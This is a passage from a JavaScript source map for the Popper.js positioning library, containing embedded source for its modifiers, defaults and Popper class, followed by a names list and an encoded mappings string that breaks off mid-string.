generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function hide(data) {\n  if (!isModifierRequired(data.instance.modifiers, 'hide', 'preventOverflow')) {\n    return data;\n  }\n\n  const refRect = data.offsets.reference;\n  const bound = find(\n    data.instance.modifiers,\n    modifier => modifier.name === 'preventOverflow'\n  ).boundaries;\n\n  if (\n    refRect.bottom < bound.top ||\n    refRect.left > bound.right ||\n    refRect.top > bound.bottom ||\n    refRect.right < bound.left\n  ) {\n    // Avoid unnecessary DOM access if visibility hasn't changed\n    if (data.hide === true) {\n      return data;\n    }\n\n    data.hide = true;\n    data.attributes['x-out-of-boundaries'] = '';\n  } else {\n    // Avoid unnecessary DOM access if visibility hasn't changed\n    if (data.hide === false) {\n      return data;\n    }\n\n    data.hide = false;\n    data.attributes['x-out-of-boundaries'] = false;\n  }\n\n  return data;\n}\n","import getClientRect from '../utils/getClientRect';\nimport getOppositePlacement from '../utils/getOppositePlacement';\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function inner(data) {\n  const placement = data.placement;\n  const basePlacement = placement.split('-')[0];\n  const { popper, reference } = data.offsets;\n  const isHoriz = ['left', 'right'].indexOf(basePlacement) !== -1;\n\n  const subtractLength = ['top', 'left'].indexOf(basePlacement) === -1;\n\n  popper[isHoriz ? 'left' : 'top'] =\n    reference[basePlacement] -\n    (subtractLength ? popper[isHoriz ? 'width' : 'height'] : 0);\n\n  data.placement = getOppositePlacement(placement);\n  data.offsets.popper = getClientRect(popper);\n\n  return data;\n}\n","import applyStyle, { applyStyleOnLoad } from './applyStyle';\nimport computeStyle from './computeStyle';\nimport arrow from './arrow';\nimport flip from './flip';\nimport keepTogether from './keepTogether';\nimport offset from './offset';\nimport preventOverflow from './preventOverflow';\nimport shift from './shift';\nimport hide from './hide';\nimport inner from './inner';\n\n/**\n * Modifier function, each modifier can have a function of this type assigned\n * to its `fn` property.<br />\n * These functions will be called on each update, this means that you must\n * make sure they are performant enough to avoid performance bottlenecks.\n *\n * @function ModifierFn\n * @argument {dataObject} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {dataObject} The data object, properly modified\n */\n\n/**\n * Modifiers are plugins used to alter the behavior of your poppers.<br />\n * Popper.js uses a set of 9 modifiers to provide all the basic functionalities\n * needed by the library.\n *\n * Usually you don't want to override the `order`, `fn` and `onLoad` props.\n * All the other properties are configurations that could be tweaked.\n * @namespace modifiers\n */\nexport default {\n  /**\n   * Modifier used to shift the popper on the start or end of its reference\n   * element.<br />\n   * It will read the variation of the `placement` property.<br />\n   * It can be one either `-end` or `-start`.\n   * @memberof modifiers\n   * @inner\n   */\n  shift: {\n    /** @prop {number} order=100 - Index used to define the order of execution */\n    order: 100,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: shift,\n  },\n\n  /**\n   * The `offset` modifier can shift your popper on both its axis.\n   *\n   * It accepts the following units:\n   * - `px` or unit-less, interpreted as pixels\n   * - `%` or `%r`, percentage relative to the length of the reference element\n   * - `%p`, percentage relative to the length of the popper element\n   * - `vw`, CSS viewport width unit\n   * - `vh`, CSS viewport height unit\n   *\n   * For length is intended the main axis relative to the placement of the popper.<br />\n   * This means that if the placement is `top` or `bottom`, the length will be the\n   * `width`. In case of `left` or `right`, it will be the `height`.\n   *\n   * You can provide a single value (as `Number` or `String`), or a pair of values\n   * as `String` divided by a comma or one (or more) white spaces.<br />\n   * The latter is a deprecated method because it leads to confusion and will be\n   * removed in v2.<br />\n   * Additionally, it accepts additions and subtractions between different units.\n   * Note that multiplications and divisions aren't supported.\n   *\n   * Valid examples are:\n   * ```\n   * 10\n   * '10%'\n   * '10, 10'\n   * '10%, 10'\n   * '10 + 10%'\n   * '10 - 5vh + 3%'\n   * '-10px + 5vh, 5px - 6%'\n   * ```\n   * > **NB**: If you desire to apply offsets to your poppers in a way that may make them overlap\n   * > with their reference element, unfortunately, you will have to disable the `flip` modifier.\n   * > You can read more on this at this [issue](https://github.com/FezVrasta/popper.js/issues/373).\n   *\n   * @memberof modifiers\n   * @inner\n   */\n  offset: {\n    /** @prop {number} order=200 - Index used to define the order of execution */\n    order: 200,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: offset,\n    /** @prop {Number|String} offset=0\n     * The offset value as described in the modifier description\n     */\n    offset: 0,\n  },\n\n  /**\n   * Modifier used to prevent the popper from being positioned outside the boundary.\n   *\n   * A scenario exists where the reference itself is not within the boundaries.<br />\n   * We can say it has \"escaped the boundaries\" — or just \"escaped\".<br />\n   * In this case we need to decide whether the popper should either:\n   *\n   * - detach from the reference and remain \"trapped\" in the boundaries, or\n   * - if it should ignore the boundary and \"escape with its reference\"\n   *\n   * When `escapeWithReference` is set to`true` and reference is completely\n   * outside its boundaries, the popper will overflow (or completely leave)\n   * the boundaries in order to remain attached to the edge of the reference.\n   *\n   * @memberof modifiers\n   * @inner\n   */\n  preventOverflow: {\n    /** @prop {number} order=300 - Index used to define the order of execution */\n    order: 300,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: preventOverflow,\n    /**\n     * @prop {Array} [priority=['left','right','top','bottom']]\n     * Popper will try to prevent overflow following these priorities by default,\n     * then, it could overflow on the left and on top of the `boundariesElement`\n     */\n    priority: ['left', 'right', 'top', 'bottom'],\n    /**\n     * @prop {number} padding=5\n     * Amount of pixel used to define a minimum distance between the boundaries\n     * and the popper. This makes sure the popper always has a little padding\n     * between the edges of its container\n     */\n    padding: 5,\n    /**\n     * @prop {String|HTMLElement} boundariesElement='scrollParent'\n     * Boundaries used by the modifier. Can be `scrollParent`, `window`,\n     * `viewport` or any DOM element.\n     */\n    boundariesElement: 'scrollParent',\n  },\n\n  /**\n   * Modifier used to make sure the reference and its popper stay near each other\n   * without leaving any gap between the two. Especially useful when the arrow is\n   * enabled and you want to ensure that it points to its reference element.\n   * It cares only about the first axis. You can still have poppers with margin\n   * between the popper and its reference element.\n   * @memberof modifiers\n   * @inner\n   */\n  keepTogether: {\n    /** @prop {number} order=400 - Index used to define the order of execution */\n    order: 400,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: keepTogether,\n  },\n\n  /**\n   * This modifier is used to move the `arrowElement` of the popper to make\n   * sure it is positioned between the reference element and its popper element.\n   * It will read the outer size of the `arrowElement` node to detect how many\n   * pixels of conjunction are needed.\n   *\n   * It has no effect if no `arrowElement` is provided.\n   * @memberof modifiers\n   * @inner\n   */\n  arrow: {\n    /** @prop {number} order=500 - Index used to define the order of execution */\n    order: 500,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: arrow,\n    /** @prop {String|HTMLElement} element='[x-arrow]' - Selector or node used as arrow */\n    element: '[x-arrow]',\n  },\n\n  /**\n   * Modifier used to flip the popper's placement when it starts to overlap its\n   * reference element.\n   *\n   * Requires the `preventOverflow` modifier before it in order to work.\n   *\n   * **NOTE:** this modifier will interrupt the current update cycle and will\n   * restart it if it detects the need to flip the placement.\n   * @memberof modifiers\n   * @inner\n   */\n  flip: {\n    /** @prop {number} order=600 - Index used to define the order of execution */\n    order: 600,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: flip,\n    /**\n     * @prop {String|Array} behavior='flip'\n     * The behavior used to change the popper's placement. It can be one of\n     * `flip`, `clockwise`, `counterclockwise` or an array with a list of valid\n     * placements (with optional variations)\n     */\n    behavior: 'flip',\n    /**\n     * @prop {number} padding=5\n     * The popper will flip if it hits the edges of the `boundariesElement`\n     */\n    padding: 5,\n    /**\n     * @prop {String|HTMLElement} boundariesElement='viewport'\n     * The element which will define the boundaries of the popper position.\n     * The popper will never be placed outside of the defined boundaries\n     * (except if `keepTogether` is enabled)\n     */\n    boundariesElement: 'viewport',\n  },\n\n  /**\n   * Modifier used to make the popper flow toward the inner of the reference element.\n   * By default, when this modifier is disabled, the popper will be placed outside\n   * the reference element.\n   * @memberof modifiers\n   * @inner\n   */\n  inner: {\n    /** @prop {number} order=700 - Index used to define the order of execution */\n    order: 700,\n    /** @prop {Boolean} enabled=false - Whether the modifier is enabled or not */\n    enabled: false,\n    /** @prop {ModifierFn} */\n    fn: inner,\n  },\n\n  /**\n   * Modifier used to hide the popper when its reference element is outside of the\n   * popper boundaries. It will set a `x-out-of-boundaries` attribute which can\n   * be used to hide with a CSS selector the popper when its reference is\n   * out of boundaries.\n   *\n   * Requires the `preventOverflow` modifier before it in order to work.\n   * @memberof modifiers\n   * @inner\n   */\n  hide: {\n    /** @prop {number} order=800 - Index used to define the order of execution */\n    order: 800,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: hide,\n  },\n\n  /**\n   * Computes the style that will be applied to the popper element to gets\n   * properly positioned.\n   *\n   * Note that this modifier will not touch the DOM, it just prepares the styles\n   * so that `applyStyle` modifier can apply it. This separation is useful\n   * in case you need to replace `applyStyle` with a custom implementation.\n   *\n   * This modifier has `850` as `order` value to maintain backward compatibility\n   * with previous versions of Popper.js. Expect the modifiers ordering method\n   * to change in future major versions of the library.\n   *\n   * @memberof modifiers\n   * @inner\n   */\n  computeStyle: {\n    /** @prop {number} order=850 - Index used to define the order of execution */\n    order: 850,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: computeStyle,\n    /**\n     * @prop {Boolean} gpuAcceleration=true\n     * If true, it uses the CSS 3D transformation to position the popper.\n     * Otherwise, it will use the `top` and `left` properties\n     */\n    gpuAcceleration: true,\n    /**\n     * @prop {string} [x='bottom']\n     * Where to anchor the X axis (`bottom` or `top`). AKA X offset origin.\n     * Change this if your popper should grow in a direction different from `bottom`\n     */\n    x: 'bottom',\n    /**\n     * @prop {string} [x='left']\n     * Where to anchor the Y axis (`left` or `right`). AKA Y offset origin.\n     * Change this if your popper should grow in a direction different from `right`\n     */\n    y: 'right',\n  },\n\n  /**\n   * Applies the computed styles to the popper element.\n   *\n   * All the DOM manipulations are limited to this modifier. This is useful in case\n   * you want to integrate Popper.js inside a framework or view library and you\n   * want to delegate all the DOM manipulations to it.\n   *\n   * Note that if you disable this modifier, you must make sure the popper element\n   * has its position set to `absolute` before Popper.js can do its work!\n   *\n   * Just disable this modifier and define your own to achieve the desired effect.\n   *\n   * @memberof modifiers\n   * @inner\n   */\n  applyStyle: {\n    /** @prop {number} order=900 - Index used to define the order of execution */\n    order: 900,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: applyStyle,\n    /** @prop {Function} */\n    onLoad: applyStyleOnLoad,\n    /**\n     * @deprecated since version 1.10.0, the property moved to `computeStyle` modifier\n     * @prop {Boolean} gpuAcceleration=true\n     * If true, it uses the CSS 3D transformation to position the popper.\n     * Otherwise, it will use the `top` and `left` properties\n     */\n    gpuAcceleration: undefined,\n  },\n};\n\n/**\n * The `dataObject` is an object containing all the information used by Popper.js.\n * This object is passed to modifiers and to the `onCreate` and `onUpdate` callbacks.\n * @name dataObject\n * @property {Object} data.instance The Popper.js instance\n * @property {String} data.placement Placement applied to popper\n * @property {String} data.originalPlacement Placement originally defined on init\n * @property {Boolean} data.flipped True if popper has been flipped by flip modifier\n * @property {Boolean} data.hide True if the reference element is out of boundaries, useful to know when to hide the popper\n * @property {HTMLElement} data.arrowElement Node used as arrow by arrow modifier\n * @property {Object} data.styles Any CSS property defined here will be applied to the popper. It expects the JavaScript nomenclature (eg. `marginBottom`)\n * @property {Object} data.arrowStyles Any CSS property defined here will be applied to the popper arrow. It expects the JavaScript nomenclature (eg. `marginBottom`)\n * @property {Object} data.boundaries Offsets of the popper boundaries\n * @property {Object} data.offsets The measurements of popper, reference and arrow elements\n * @property {Object} data.offsets.popper `top`, `left`, `width`, `height` values\n * @property {Object} data.offsets.reference `top`, `left`, `width`, `height` values\n * @property {Object} data.offsets.arrow] `top` and `left` offsets, only one of them will be different from 0\n */\n","import modifiers from '../modifiers/index';\n\n/**\n * Default options provided to Popper.js constructor.<br />\n * These can be overridden using the `options` argument of Popper.js.<br />\n * To override an option, simply pass an object with the same\n * structure of the `options` object, as the 3rd argument. For example:\n * ```\n * new Popper(ref, pop, {\n *   modifiers: {\n *     preventOverflow: { enabled: false }\n *   }\n * })\n * ```\n * @type {Object}\n * @static\n * @memberof Popper\n */\nexport default {\n  /**\n   * Popper's placement.\n   * @prop {Popper.placements} placement='bottom'\n   */\n  placement: 'bottom',\n\n  /**\n   * Set this to true if you want popper to position it self in 'fixed' mode\n   * @prop {Boolean} positionFixed=false\n   */\n  positionFixed: false,\n\n  /**\n   * Whether events (resize, scroll) are initially enabled.\n   * @prop {Boolean} eventsEnabled=true\n   */\n  eventsEnabled: true,\n\n  /**\n   * Set to true if you want to automatically remove the popper when\n   * you call the `destroy` method.\n   * @prop {Boolean} removeOnDestroy=false\n   */\n  removeOnDestroy: false,\n\n  /**\n   * Callback called when the popper is created.<br />\n   * By default, it is set to no-op.<br />\n   * Access Popper.js instance with `data.instance`.\n   * @prop {onCreate}\n   */\n  onCreate: () => {},\n\n  /**\n   * Callback called when the popper is updated. This callback is not called\n   * on the initialization/creation of the popper, but only on subsequent\n   * updates.<br />\n   * By default, it is set to no-op.<br />\n   * Access Popper.js instance with `data.instance`.\n   * @prop {onUpdate}\n   */\n  onUpdate: () => {},\n\n  /**\n   * List of modifiers used to modify the offsets before they are applied to the popper.\n   * They provide most of the functionalities of Popper.js.\n   * @prop {modifiers}\n   */\n  modifiers,\n};\n\n/**\n * @callback onCreate\n * @param {dataObject} data\n */\n\n/**\n * @callback onUpdate\n * @param {dataObject} data\n */\n","// Utils\nimport debounce from './utils/debounce';\nimport isFunction from './utils/isFunction';\n\n// Methods\nimport update from './methods/update';\nimport destroy from './methods/destroy';\nimport enableEventListeners from './methods/enableEventListeners';\nimport disableEventListeners from './methods/disableEventListeners';\nimport Defaults from './methods/defaults';\nimport placements from './methods/placements';\n\nexport default class Popper {\n  /**\n   * Creates a new Popper.js instance.\n   * @class Popper\n   * @param {HTMLElement|referenceObject} reference - The reference element used to position the popper\n   * @param {HTMLElement} popper - The HTML element used as the popper\n   * @param {Object} options - Your custom options to override the ones defined in [Defaults](#defaults)\n   * @return {Object} instance - The generated Popper.js instance\n   */\n  constructor(reference, popper, options = {}) {\n    // make update() debounced, so that it only runs at most once-per-tick\n    this.update = debounce(this.update.bind(this));\n\n    // with {} we create a new object with the options inside it\n    this.options = { ...Popper.Defaults, ...options };\n\n    // init state\n    this.state = {\n      isDestroyed: false,\n      isCreated: false,\n      scrollParents: [],\n    };\n\n    // get reference and popper elements (allow jQuery wrappers)\n    this.reference = reference && reference.jquery ? reference[0] : reference;\n    this.popper = popper && popper.jquery ? popper[0] : popper;\n\n    // Deep merge modifiers options\n    this.options.modifiers = {};\n    Object.keys({\n      ...Popper.Defaults.modifiers,\n      ...options.modifiers,\n    }).forEach(name => {\n      this.options.modifiers[name] = {\n        // If it's a built-in modifier, use it as base\n        ...(Popper.Defaults.modifiers[name] || {}),\n        // If there are custom options, override and merge with default ones\n        ...(options.modifiers ? options.modifiers[name] : {}),\n      };\n    });\n\n    // Refactoring modifiers' list (Object => Array)\n    this.modifiers = Object.keys(this.options.modifiers)\n      .map(name => ({\n        name,\n        ...this.options.modifiers[name],\n      }))\n      // sort the modifiers by order\n      .sort((a, b) => a.order - b.order);\n\n    // modifiers have the ability to execute arbitrary code when Popper.js get inited\n    // such code is executed in the same order of its modifier\n    // they could add new properties to their options configuration\n    // BE AWARE: don't add options to `options.modifiers.name` but to `modifierOptions`!\n    this.modifiers.forEach(modifierOptions => {\n      if (modifierOptions.enabled && isFunction(modifierOptions.onLoad)) {\n        modifierOptions.onLoad(\n          this.reference,\n          this.popper,\n          this.options,\n          modifierOptions,\n          this.state\n        );\n      }\n    });\n\n    // fire the first update to position the popper in the right place\n    this.update();\n\n    const eventsEnabled = this.options.eventsEnabled;\n    if (eventsEnabled) {\n      // setup event listeners, they will take care of update the position in specific situations\n      this.enableEventListeners();\n    }\n\n    this.state.eventsEnabled = eventsEnabled;\n  }\n\n  // We can't use class properties because they don't get listed in the\n  // class prototype and break stuff like Sinon stubs\n  update() {\n    return update.call(this);\n  }\n  destroy() {\n    return destroy.call(this);\n  }\n  enableEventListeners() {\n    return enableEventListeners.call(this);\n  }\n  disableEventListeners() {\n    return disableEventListeners.call(this);\n  }\n\n  /**\n   * Schedules an update. It will run on the next UI update available.\n   * @method scheduleUpdate\n   * @memberof Popper\n   */\n  scheduleUpdate = () => requestAnimationFrame(this.update);\n\n  /**\n   * Collection of utilities useful when writing custom modifiers.\n   * Starting from version 1.7, this method is available only if you\n   * include `popper-utils.js` before `popper.js`.\n   *\n   * **DEPRECATION**: This way to access PopperUtils is deprecated\n   * and will be removed in v2! Use the PopperUtils module directly instead.\n   * Due to the high instability of the methods contained in Utils, we can't\n   * guarantee them to follow semver. Use them at your own risk!\n   * @static\n   * @private\n   * @type {Object}\n   * @deprecated since version 1.8\n   * @member Utils\n   * @memberof Popper\n   */\n  static Utils = (typeof window !== 'undefined' ? window : global).PopperUtils;\n\n  static placements = placements;\n\n  static Defaults = Defaults;\n}\n\n/**\n * The `referenceObject` is an object that provides an interface compatible with Popper.js\n * and lets you use it as replacement of a real DOM node.<br />\n * You can use this method to position a popper relatively to a set of coordinates\n * in case you don't have a DOM node to use as reference.\n *\n * ```\n * new Popper(referenceObject, popperNode);\n * ```\n *\n * NB: This feature isn't supported in Internet Explorer 10.\n * @name referenceObject\n * @property {Function} data.getBoundingClientRect\n * A function that returns a set of coordinates compatible with the native `getBoundingClientRect` method.\n * @property {number} data.clientWidth\n * An ES6 getter that will return the width of the virtual reference element.\n * @property {number} data.clientHeight\n * An ES6 getter that will return the height of the virtual reference element.\n */\n"],"names":["window","document","timeoutDuration","i","longerTimeoutBrowsers","length","isBrowser","navigator","userAgent","indexOf","called","Promise","resolve","then","scheduled","supportsMicroTasks","functionToCheck","getType","toString","call","element","nodeType","ownerDocument","defaultView","css","getComputedStyle","property","nodeName","parentNode","host","body","overflow","overflowX","overflowY","getStyleComputedProperty","test","getScrollParent","getParentNode","isIE11","MSInputMethodContext","documentMode","isIE10","version","documentElement","noOffsetParent","isIE","offsetParent","nextElementSibling","getOffsetParent","firstElementChild","node","getRoot","element1","element2","order","compareDocumentPosition","Node","DOCUMENT_POSITION_FOLLOWING","start","end","range","createRange","setStart","setEnd","commonAncestorContainer","contains","isOffsetContainer","element1root","findCommonOffsetParent","side","upperSide","html","scrollingElement","subtract","scrollTop","getScroll","scrollLeft","modifier","top","bottom","left","right","sideA","axis","sideB","parseFloat","styles","Math","max","parseInt","computedStyle","getSize","offsets","width","height","rect","getBoundingClientRect","result","sizes","getWindowSizes","clientWidth","clientHeight","horizScrollbar","offsetWidth","vertScrollbar","offsetHeight","getBordersSize","getClientRect","fixedPosition","runIsIE","isHTML","parent","childrenRect","parentRect","scrollParent","borderTopWidth","borderLeftWidth","marginTop","marginLeft","includeScroll","excludeScroll","relativeOffset","getOffsetRectRelativeToArbitraryNode","innerWidth","innerHeight","offset","isFixed","parentElement","el","boundaries","getFixedPositionOffsetParent","boundariesElement","getViewportOffsetRectRelativeToArtbitraryNode","boundariesNode","popper","padding","isPaddingNumber","placement","getBoundaries","rects","refRect","sortedAreas","Object","keys","map","key","getArea","sort","b","area","a","filteredAreas","filter","computedPlacement","variation","split","commonOffsetParent","x","marginBottom","y","marginRight","hash","replace","matched","popperRect","getOuterSizes","popperOffsets","isHoriz","mainSide","secondarySide","measurement","secondaryMeasurement","referenceOffsets","getOppositePlacement","Array","prototype","find","arr","findIndex","cur","match","obj","modifiersToRun","ends","modifiers","slice","forEach","warn","fn","enabled","isFunction","data","reference","state","isDestroyed","getReferenceOffsets","options","positionFixed","computeAutoPlacement","flip","originalPlacement","getPopperOffsets","position","runModifiers","isCreated","onUpdate","onCreate","some","name","prefixes","upperProp","charAt","toUpperCase","prefix","toCheck","style","isModifierEnabled","removeAttribute","willChange","getSupportedPropertyName","disableEventListeners","removeOnDestroy","removeChild","isBody","target","addEventListener","passive","push","updateBound","scrollElement","scrollParents","eventsEnabled","setupEventListeners","scheduleUpdate","removeEventListener","removeEventListeners","n","isNaN","isFinite","prop","unit","isNumeric","value","attributes","setAttribute","instance","arrowElement","arrowStyles","round","floor","legacyGpuAccelerationOption","gpuAcceleration","offsetParentRect","prefixedProperty","invertTop","invertLeft","arrow","requesting","isRequired","requested","isModifierRequired","querySelector","isVertical","len","sideCapitalized","toLowerCase","altSide","opSide","arrowElementSize","center","popperMarginSide","popperBorderSide","sideValue","min","validPlacements","placements","counter","index","concat","reverse","BEHAVIORS","flipped","placementOpposite","flipOrder","behavior","FLIP","CLOCKWISE","clockwise","COUNTERCLOCKWISE","refOffsets","overlapsRef","overflowsLeft","overflowsRight","overflowsTop","overflowsBottom","overflowsBoundaries","flippedVariation","flipVariations","getOppositeVariation","str","size","useHeight","fragments","frag","trim","divider","search","splitRegex","ops","mergeWithPrevious","op","reduce","toValue","index2","basePlacement","parseOffset","transformProp","popperStyles","priority","check","escapeWithReference","shiftvariation","shiftOffsets","bound","hide","subtractLength","requestAnimationFrame","update","debounce","bind","Popper","Defaults","jquery","modifierOptions","onLoad","enableEventListeners","destroy","Utils","global","PopperUtils"],"mappings":"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